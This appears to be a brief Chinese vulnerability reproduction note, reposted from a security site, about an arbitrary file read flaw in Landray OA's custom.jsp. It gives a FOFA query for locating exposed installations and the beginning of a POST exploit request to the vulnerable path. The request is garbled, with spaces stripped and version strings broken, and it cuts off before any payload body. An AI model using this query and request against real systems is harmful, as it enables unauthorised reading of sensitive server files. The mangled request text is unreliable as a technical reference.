蓝凌OAcustomjsp任意文件

一：漏洞描述??

深圳市蓝凌软件股份有限公司数字OA(EKP)存在任意文件读取漏洞。攻击者可利用漏洞获取敏感信息。

二:漏洞影响??

蓝凌OA

三:漏洞复现??

FOFA:app="Landray-OA系统"

出现漏洞的文件为custom.jsp,请求包为

POST/sys/ui/extend/varkind/custom.jspHTTP/1.1Host:User-Agent:Mozilla/5.0(Macintosh;IntelMacOSX10_14_3)AppleWebKit/.1.15(KHTML,likeGecko)Version/12.0.3Safari/.1.15Content-Length:42Content-Type:application/x-

转载请注明：http://www.sonphie.com/jbby/14180.html